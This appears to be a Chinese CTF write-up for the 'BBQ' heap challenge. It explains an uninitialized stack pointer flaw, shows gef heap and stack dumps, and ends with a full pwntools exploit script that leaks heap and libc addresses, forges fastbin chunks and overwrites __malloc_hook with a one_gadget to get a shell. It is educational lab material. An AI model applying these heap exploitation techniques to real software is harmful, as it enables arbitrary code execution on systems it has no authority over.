bbq
漏洞点在eat函数那里没有初始化栈指针
if ( grridle_list[v2] )
{
ptr = grridle_list[v2];
puts("found food.");
}
else
{
puts("empty..."); // if goes there ptr will be the last ptr we refer to
}
卡了好久没有搞明白这个指针是怎么利用的,看了大佬的wp才明白
And after some debugging , I found that the ptr can be one of the following:
1.a file structure pointer
2.if grill() is called, it will be the newly allocate Cooked_food structure pointer.
3.if buy is called, it will be the name of the food if the name is longer than 40 bytes.
第一个情况没什么用,这里主要是利用第二三种情况 我们首先调用grill,此时的栈的布局是这样的:
gef➤ x/50gx 0x7ffff8223898
0x7ffff8223898: 0x00007f79325085e8 0x000056162ce32980
0x7ffff82238a8: 0x00007f79328528e0 0x00007ffff8223980
0x7ffff82238b8: 0x00007f793250960e 0x0000000000000000
0x7ffff82238c8: 0x00007f79324fcc6a 0x000056162ce32980
0x7ffff82238d8: 0x00007ffff8223980 0x0000000100000000
0x7ffff82238e8: 0x0000000000000000 0x00007ffff82239e0
0x7ffff82238f8: 0x00007f79328528e0 0x00007ffff8223980
0x7ffff8223908: 0x0000000000000000 0x00007ffff8223ae0
0x7ffff8223918: 0x0000000000000000 0x0000000000000000
0x7ffff8223928: 0x00007f79324fbb7d 0x0000000000000000
0x7ffff8223938: 0x00007ffff8223970 0x000056162ce32980
0x7ffff8223948: 0x000056162ce3313b 0x000000400000000a
0x7ffff8223958: 0x00007ffff8223980 0x00007ffff8223ae0
0x7ffff8223968: 0x00007f793250881b 0x00007ffff82239d0
0x7ffff8223978: 0x000056162ce3318f 0x000056162ce33300
0x7ffff8223988: 0x00007f79324fd7fa 0x0000000000000000
0x7ffff8223998: 0x00007ffff82239e0 0x000056162ce32980
0x7ffff82239a8: 0x000056162ce32e58 0x0000000100000013
0x7ffff82239b8: 0x000056162edb8140<---name_ptr 0x000056162ce33248
0x7ffff82239c8: 0x4af2e48e056c2600 0x00007ffff82239e0
0x7ffff82239d8: 0x000056162ce32b8b 0x00007ffff8223a00
0x7ffff82239e8: 0x000056162ce32ad3 0x00007ffff8223ae0
0x7ffff82239f8: 0x0000000000000003 0x000056162ce331c0
0x7ffff8223a08: 0x00007f79324ae830 0x00007ffff8223ae8
0x7ffff8223a18: 0x00007ffff8223ae8 0x000000013261a608
而后我们调用buy,这时的栈布局是这样的:
gef➤ x/50gx 0x7ffdd7115d48
0x7ffdd7115d48: 0x00007f79200005e8 0x0000000000000000
0x7ffdd7115d58: 0x00007f792034a8e0 0x00007ffdd7115e30
0x7ffdd7115d68: 0x00007f792000160e 0x0000000000000000
0x7ffdd7115d78: 0x00007f791fff4c6a 0x0000558a13c47980
0x7ffdd7115d88: 0x00007ffdd7115e30 0x0000000100000000
0x7ffdd7115d98: 0x0000000000000000 0x00007ffdd7115e90
0x7ffdd7115da8: 0x00007f792034a8e0 0x00007ffdd7115e30
0x7ffdd7115db8: 0x0000000000000000 0x00007ffdd7115f90
0x7ffdd7115dc8: 0x0000000000000000 0x0000000000000000
0x7ffdd7115dd8: 0x00007f791fff3b7d 0x0000000000000000
0x7ffdd7115de8: 0x00007ffdd7115e20 0x0000558a13c47980
0x7ffdd7115df8: 0x0000558a13c4813b 0x0000004013c47980
0x7ffdd7115e08: 0x00007ffdd7115e30 0x0000000000000000
0x7ffdd7115e18: 0x0000558a143f4140 0x00007ffdd7115e80
0x7ffdd7115e28: 0x0000558a13c4818f 0x0000558a13000000
0x7ffdd7115e38: 0x0000007b1fff57fa 0x4343434343434343
0x7ffdd7115e48: 0x4343434343434343 0x4343434343434343
0x7ffdd7115e58: 0x4343434343434343 0x0043434343434343
0x7ffdd7115e68: 0x0000558a143f4100<---name_ptr 0x0000558a13c48248
0x7ffdd7115e78: 0x883183485a977c00 0x00007ffdd7115e90
0x7ffdd7115e88: 0x0000558a13c47b8b 0x00007ffdd7115eb0
0x7ffdd7115e98: 0x0000558a13c47ad3 0x00007ffdd7115f90
0x7ffdd7115ea8: 0x0000000000000001 0x0000558a13c481c0
0x7ffdd7115eb8: 0x00007f791ffa6830 0x00007ffdd7115f98
0x7ffdd7115ec8: 0x00007ffdd7115f98 0x0000000120112608
可以看到因为截断,原本的ptr的低字节被我们修改成了\x00,也就是截断。 看一下堆布局:
gef➤ heapls
ADDR SIZE STATUS
sbrk_base 0x56084fb9a000
chunk 0x56084fb9a000 0x20 (inuse)
chunk 0x56084fb9a020 0x20 (inuse)
chunk 0x56084fb9a040 0x20 (inuse)
chunk 0x56084fb9a060 0x30 (inuse)
chunk 0x56084fb9a090 0x20 (inuse)
chunk 0x56084fb9a0b0 0x20 (inuse)
chunk 0x56084fb9a0d0 0x20 (inuse)
chunk 0x56084fb9a0f0 0x20 (inuse)
chunk 0x56084fb9a110 0x20 (inuse)
chunk 0x56084fb9a130 0x20 (inuse)
chunk 0x56084fb9a150 0x30 (inuse)
chunk 0x56084fb9a180 0x20e80 (top)
sbrk_end 0x56084fbbb000
gef➤ x/8gx 0x56084fb9a0f0
0x56084fb9a0f0: 0x000056084fb9a100 0x0000000000000021
0x56084fb9a100: 0x7878787878787878 0x7878787878787878<---name
0x56084fb9a110: 0x000000deadbeef11 0x0000000000000021
0x56084fb9a120: 0x0000000000000000 0x0000000000000002
gef➤
这是调用eat时的栈结构:
gef➤ x/50gx 0x7ffc698a3a78
0x7ffc698a3a78: 0x00007f97a4ac85e8 0x000055e33a074980
0x7ffc698a3a88: 0x00007f97a4e128e0 0x00007ffc698a3b60
0x7ffc698a3a98: 0x00007f97a4ac960e 0x0000000000000000
0x7ffc698a3aa8: 0x00007f97a4abcc6a 0x000055e33a074980
0x7ffc698a3ab8: 0x00007ffc698a3b60 0x0000000100000000
0x7ffc698a3ac8: 0x0000000000000000 0x00007ffc698a3bc0
0x7ffc698a3ad8: 0x00007f97a4e128e0 0x00007ffc698a3b60
0x7ffc698a3ae8: 0x0000000000000000 0x00007ffc698a3cc0
0x7ffc698a3af8: 0x0000000000000000 0x0000000000000000
0x7ffc698a3b08: 0x00007f97a4abbb7d 0x0000000000000000
0x7ffc698a3b18: 0x00007ffc698a3b50 0x000055e33a074980
0x7ffc698a3b28: 0x000055e33a07513b 0x000000400000000a
0x7ffc698a3b38: 0x00007ffc698a3b60 0x00007ffc698a3cc0
0x7ffc698a3b48: 0x00007f97a4ac881b 0x00007ffc698a3bb0
0x7ffc698a3b58: 0x000055e33a07518f 0x000055e33a075300
0x7ffc698a3b68: 0x00007f97a4abd7fa 0x0000000000000000
0x7ffc698a3b78: 0x00007ffc698a3bc0 0x000055e33a074980
0x7ffc698a3b88: 0x000055e33a074e58 0x0000000543434343<---index
0x7ffc698a3b98: 0x000055e33ae0c100<--ptr 0x000055e33a075248
0x7ffc698a3ba8: 0xa3cb1c8c10f32600 0x00007ffc698a3bc0
0x7ffc698a3bb8: 0x000055e33a074b8b 0x00007ffc698a3be0
0x7ffc698a3bc8: 0x000055e33a074ad3 0x00007ffc698a3cc0
0x7ffc698a3bd8: 0x0000000000000003 0x000055e33a0751c0
0x7ffc698a3be8: 0x00007f97a4a6e830 0x00007ffc698a3cc8
0x7ffc698a3bf8: 0x00007ffc698a3cc8 0x00000001a4bda608
原函数:
__int64 v0; // rax
int v2; // [rsp+4h] [rbp-2Ch]
struct grridle *ptr; // [rsp+8h] [rbp-28h] not init
//
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v2就是传入的index:
可以看到指向的地址是我们可以控制的地方,可以令其指向一个name。 这样如果将name搞得像一个grridle结构差不多的话就可以将他free掉之后泄露堆地址了。 这样的话我们就可以构造一个伪造的大小在unsortedbin范围内的堆块,free掉之后就可以泄露地址
而后要在malloc_hook-0x18处构造一个伪造的food结构体,首先申请一个name为malloc_hook - 0x18的堆块 构造之后堆得布局如下
0x5582080d3040: 0x0000000000000000 0x0000000000000021
0x5582080d3050: 0x00005582080d3010 0x000000000000007b
0x5582080d3060: 0x00005582080d3070 0x0000000000000031
0x5582080d3070: 0x4141414141414141 0x4141414141414141
gef➤
0x5582080d3080: 0x4141414141414141 0x0000414141414141
0x5582080d3090: 0x0000000000000000 0x0000000000000021
0x5582080d30a0: 0x00005582080d3050 0x0000000000000021
0x5582080d30b0: 0x00005582080d30d0 0x00007f09679f2c48
gef➤
0x5582080d30c0: 0x000000cafebabe33 0x0000000000000021
0x5582080d30d0<---head: 0x00005582080d3120 0x00007f09000003e7
0x5582080d30e0: 0x00005582080d30f0 0x0000000000000021
0x5582080d30f0: 0x00007f09679f2af8 0x00007f09679f2b78
gef➤
0x5582080d3100: 0x00005582080d3140 0x0000000000000081
0x5582080d3110: 0x00007f09679f2b78 0x00007f09679f2b78
0x5582080d3120: 0x00005582080d3100 0x000000000000007b
0x5582080d3130: 0x00005582080d30b0 0x0000000000000021
gef➤
0x5582080d3140: 0x00005582080d30e0 0x000000000000007b
0x5582080d3150: 0x00005582080d3160 0x0000000000000031
0x5582080d3160: 0x4343434343434343 0x4343434343434343
0x5582080d3170: 0x4343434343434343 0x4343434343434343
gef➤
0x5582080d3180: 0x0000000000000080 0x0000000000000040
0x5582080d3190: 0x4343434343434343 0x4343434343434343
0x5582080d31a0: 0x4343434343434343 0x4343434343434343
0x5582080d31b0: 0x4343434343434343 0x00005582080d30b0
则此时整个链表的结构为 0x00005582080d30d0->0x00005582080d3120->0x00005582080d3100->0x00005582080d3140->0x00005582080d30e0->0x00005582080d30f0->0x00007f09679f2af8(malloc_hook - 0x18) 此时我们再看一下malloc_hook - 0x18 处的内容
gef➤ x/8gx 0x00007f09679f2af8
0x7f09679f2af8: 0x0000000000000000<--next 0x00007f09676b3e21<---num
0x7f09679f2b08 <__realloc_hook>: 0x00007f09676b3a00<---name 0x0000000000000000
0x7f09679f2b18: 0x0000000000000000 0x0000000000000000
0x7f09679f2b28 <main_arena+8>: 0x0000000000000000 0x000000000000
再去看一下name里面的内容
gef➤ x/8gx 0x7f09676b3a00
0x7f09676b3a00 <realloc_hook_ini>: 0x5441554156415741 0xfb89485355f58949
0x7f09676b3a10 <realloc_hook_ini+16>: 0xd5058b4838ec8348 0xe5ae2d8b480033e4
0x7f09676b3a20 <realloc_hook_ini+32>: 0x00000000c7480033 0x480033e715058b00
0x7f09676b3a30 <realloc_hook_ini+48>: 0x85000000000045c7 0x3100000221880fc0
那么我们只要购买这个name的东西一定数值,我们就可以控制num字段为0x21(这里注意一下num的大小占用四个字节)
而后我们要在main_arena中伪造一个food结构体,由于我们可控的字段只有name和num,所以伪造的结构体的num字段设置为fb[0],name设置为fb1 首先我们需要一个0x30大小的fastbin(fb[0])
buy(p64(heap_base+0xd0),123)
buy(p64(heap_base+0x10),123)
#balance the heap struct
buy('a'*0x10+p64(0xDEADBEEF11),0x31)#?
buy(p64(0xDEADBEEF11),0x31)
buy('padding',0x31)
buy('C'*40+p64(heap_base+0x1e0),123)
eat(5)
利用的是以上的代码,在执行堆风水操作之后堆的结构是这样的:
gef➤
0x561607324160: 0x0000561607324170 0x0000000000000021
0x561607324170: 0x6161616161616161 0x6161616161616161
0x561607324180: 0x000000deadbeef11 0x0000000000000041
0x561607324190: 0x4343434343434343 0x4343434343434343
gef➤
0x5616073241a0: 0x4343434343434343 0x4343434343434343
0x5616073241b0: 0x4343434343434343 0x00005616073240b0
0x5616073241c0: 0x0000000000000000 0x0000000000000021
0x5616073241d0: 0x0000561607324150 0x0000000000000031<--fake fastbin chunk
gef➤
0x5616073241e0: 0x00005616073241f0 0x0000000000000021
0x5616073241f0: 0x000000deadbeef11 0x0000000000000000
0x561607324200: 0x0000000000000000 0x0000000000000021
0x561607324210: 0x00005616073241d0 0x0000000000000031
gef➤
0x561607324220: 0x0000561607324230 0x0000000000000021
0x561607324230: 0x00676e6964646170 0x0000000000000000
0x561607324240: 0x0000000000000000 0x0000000000020dc1
0x561607324250: 0x0000000000000000 0x0000000000000000
free掉他的方式跟之前一样,利用指针未初始化。 而后我们需要一个0x20大小的fastbin,而且这个指针我们需要可控,于是乎同样需要一波风水操作(与之前类似)
buy(p64(0xDEADBEEF11),0xb1)
buy('A'*0x8,123)
buy('B'*0x8,123)#fake a 0xb1 chunk
buy(p64(mlh+0x10),123)
操作之后堆的结构:
0x55f7be7152a0: 0x0000000000000000 0x0000000000000021
0x55f7be7152b0: 0x000055f7be715250 0x00000000000000b1<--fake chunk
gef➤
0x55f7be7152c0: 0x000055f7be7152d0 0x0000000000000021
0x55f7be7152d0: 0x000000deadbeef11 0x0000000000000000
0x55f7be7152e0: 0x0000000000000000 0x0000000000000021
0x55f7be7152f0: 0x000055f7be7152b0<---| 0x000000000000007b
gef➤ |
0x55f7be715300: 0x000055f7be715310 | 0x0000000000000021
0x55f7be715310: 0x4141414141414141 | 0x0000000000000000
0x55f7be715320: 0x0000000000000000 | 0x0000000000000021
0x55f7be715330: 0x000055f7be7152f0--- | 0x000000000000007b
gef➤
0x55f7be715340: 0x000055f7be715350 0x0000000000000021
0x55f7be715350: 0x4242424242424242 0x0000000000000000
0x55f7be715360: 0x0000000000000000 0x0000000000000021
0x55f7be715370<---head: 0x000055f7be715330 0x000000000000007b
gef➤
0x55f7be715380: 0x000055f7be715390 0x0000000000000021
0x55f7be715390: 0x00007f0ee5562b20 0x0000000000000000
0x55f7be7153a0: 0x0000000000000000 0x0000000000020c61
注意到此时heapbase+330处food结构体next指针指向heapbase+2f0 之后我们free掉这个chunk,再次分配一个小于它大小的chunk会将其分割,这样我们就可以控制其next指针,使其指向mallochook附近 而后我们调用grill申请一个0x20大小的fastbin,free掉,令其链入fb[0]
0x555e210922c0: 0x0000555e210923b0 0x00007f1a0000007b
0x555e210922d0: 0x0000555e210922e0 0x0000000000000021
0x555e210922e0: 0x4848484848484848 0x4848484848484848
0x555e210922f0<---chunk created by grill
: 0x0000555e21092390 0x0000000000000020
gef➤
0x555e21092300: 0x0000555e210922f0 0x00007f1a00000001
0x555e21092310: 0x000000deadbeef11 0x0000000000000051
0x555e21092320: 0x00007f1ab3862b78 0x00007f1ab3862b78
0x555e21092330: 0x0000555e210922f0 0x000000000000007b
gef➤
0x555e21092340: 0x0000555e21092350 0x0000000000000021
0x555e21092350: 0x4242424242424242 0x0000000000000000
0x555e21092360: 0x0000000000000050 0x0000000000000020
0x555e21092370: 0x0000555e21092330 0x000000000000007b
gef➤
0x555e21092380: 0x0000555e21092390 0x0000000000000021
0x555e21092390: 0x00007f1ab3862b20 0x0000000000000000
0x555e210923a0: 0x0000000000000000 0x0000000000000021
0x555e210923b0: 0x0000555e21092370 0x000000000000007
free之后的堆布局:
0x5644c69092c0: 0x00005644c69093b0 0x00007f4f0000007b
0x5644c69092d0: 0x00005644c69092e0 0x0000000000000021
0x5644c69092e0: 0x4848484848484848 0x4848484848484848
0x5644c69092f0<---chunk created by grill, now freed
: 0x00005644c6909390 0x0000000000000020
gef➤
0x5644c6909300: 0x0000000000000000 0x00007f4f00000001
0x5644c6909310: 0x000000cafebabe33 0x0000000000000051
0x5644c6909320: 0x00007f4f0e06ab78 0x00007f4f0e06ab78
0x5644c6909330: 0x00005644c69092f0 0x000000000000007b
gef➤
0x5644c6909340: 0x00005644c6909350 0x0000000000000021
0x5644c6909350: 0x4242424242424242 0x0000000000000000
0x5644c6909360: 0x0000000000000050 0x0000000000000020
0x5644c6909370: 0x00005644c6909330 0x000000000000007b
gef➤
0x5644c6909380: 0x00005644c6909390 0x0000000000000021
0x5644c6909390: 0x00007f4f0e06ab20 0x0000000000000000
0x5644c69093a0: 0x0000000000000000 0x0000000000000021
0x5644c69093b0: 0x00005644c6909370 0x000000000000007b
此时的main_arena:
[ fb 0 ] 0x7f4f0e06ab28 -> [ 0x5644c69092f0 ] (32)<---fake num
[ fb 1 ] 0x7f4f0e06ab30 -> [ 0x5644c69091d0 ] (48)<---fake name
这样, 我们通过buy就可以修改fb[0]的值,由于buy的时候需要用到两个堆块(food和name),所以我们将其修改为一个符合下列条件的堆块: 1.0x20大小的堆块 2.fd指针指向mallochook附近地址
这一堆块在我们之前在mallochook附近构造0x20堆块头时正好存在,于是我们就可以将fb[0]局部写其低地址从而达到目的
而后就可以愉快的将onegadget写入mallochook getshell 了
from pwn import *
context.log_level = 'debug'
io = process('./BBQ')
elf = ELF('BBQ')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def p():
gdb.attach(io)
raw_input()
def buy(name,n,p = False):
io.recvuntil(':')
io.sendline('1')
io.recvuntil('>>')
if p:
io.send(name)
else:
io.sendline(name)
io.recvuntil('amount >>')
io.sendline(str(n))
def grill(name,idx):
io.recvuntil(':')
io.sendline('2')
io.recvuntil('food >>')
io.sendline(name)
io.recvuntil('index >>')
io.sendline(str(idx))
def eat(idx):
io.recvuntil(':')
io.sendline('3')
io.recvuntil('index >>')
io.sendline(str(idx))
name='x'*0x10+p64(0xDEADBEEF11)[:5]
buy('A'*30,123)#1
buy(p64(0xdeadbeef11),0xe1)#2
buy(name,123)#3
grill(name,0)
grill(name,1)
eat(0)
eat(1)
buy('C'*39,123)
eat(5)
io.recvuntil(':')
io.sendline('1')
io.recvuntil('* ')
io.recvuntil('* ')
leak = u64(io.recv(6).ljust(8,'\x00'))
log.success(hex(leak))
heap_base = leak - 0x110
log.success(hex(heap_base))
io.sendlineafter('>> ','Beef')
io.sendlineafter('>> ','1')
buy('C'*40 + p64(heap_base + 0xb0),123)
eat(9)
buy(p64(heap_base + 0xd0), 123)#bypass check?
io.recvuntil(':')
io.sendline('1')
io.recvuntil('121')
io.recvuntil('* ')
leak = u64(io.recv(6).ljust(8,'\x00'))
io.sendlineafter('>> ','Beef')
io.sendlineafter('>> ','1')
libc_base = leak - 0x10 - 0x58 - libc.symbols['__malloc_hook']
log.success(hex(libc_base))
mlh = libc_base + libc.symbols['__malloc_hook']
log.success(hex(mlh))
buy(p64(mlh - 0x18),999)
io.recvuntil(':')
io.sendline('1')
k=io.recvuntil('food na').split(' ')
name=k[-3]
num=(int(k[-2].split('\n')[0][1:-1]))
left=0x100000000-num-0x1
log.success(name.encode('hex'))
log.success(hex(num))
log.success(hex(left))
io.sendlineafter('>> ',name)
io.sendlineafter('>> ','1')
while(left>0):
if(left<0x7FFFFFFF):
buy(name,left+0x21)
break
else:
buy(name,0x7FFFFFFF)
left-=0x7FFFFFFF
buy(p64(heap_base+0xd0),123)
buy(p64(heap_base+0x10),123)
#balance the heap struct
buy('a'*0x10+p64(0xDEADBEEF11),0x31)
buy(p64(0xDEADBEEF11),0x31)
buy('padding',0x31)
buy('C'*40+p64(heap_base+0x1e0),123)
eat(5)
#free a 0x31 chunk
#now we need another 0x20 chunk to fake food struct
buy(p64(0xDEADBEEF11),0xb1)
buy('A'*0x8,123)
buy('B'*0x8,123)#fake a 0xb1 chunk
buy(p64(mlh+0x10),123)
buy('C'*40+p64(heap_base+0x2c0),123)
#free it
eat(5)
buy("H"*0x10+p64(heap_base+0x390),123)
#*heap_base+0x390 == malloc_hook + 0x10
grill('',0)
eat(0)
p() #add 2f0 + heapbase to fastbin (0x20) fb[0]
#heap_base + 2f0 ->heapbase+390->mlh+0x10
#heapbase+0x1d0->heapbase+0x150
#[ fb 0 ] 0x7f64c286ab28 -> [ 0x5564206b62f0 ] (32) fake num
#[ fb 1 ] 0x7f64c286ab30 -> [ 0x5564206b61d0 ] (48) fake name ptr
# |
# ->heapbase + 150
#p()
left=0x100000000-0x210
while(left>0):
if(left<0x7FFFFFFF):
buy(p64(heap_base+0x150),left)
break
else:
buy(p64(heap_base+0x150),0x7FFFFFFF)
left-=0x7FFFFFFF
#before was 2f0 now we want it to poited to 0e0 ,and 0e0 -> mlh - 0x18
'''
gef fastbins
fastbins
[ fb 0 ] 0x7f7f7abb2b28 -> [ 0x56296bec30e0 ] (32)
[ 0x7f7f7abb2af8 ] (32)
[ 0x7f7f7a873a00 ] (32)
[ 0xd5058b4838ec8348 ] (32)[!] Could not read address 0xd5058b4838ec8348
[ fb 1 ] 0x7f7f7abb2b30 -> [ 0x56296bec31d0 ] (48)
'''
one = libc_base + 0x4526a
buy('A' * 8 + p64(one),1)
grill(p64(heap_base+0x150).ljust(64,'\x00'),1)
io.interactive()
虽然看着大佬的wp做的但是有些地方还是不太懂: 1.倒数第二个grill那里 2.最后一步getshell 不想了,先吃饭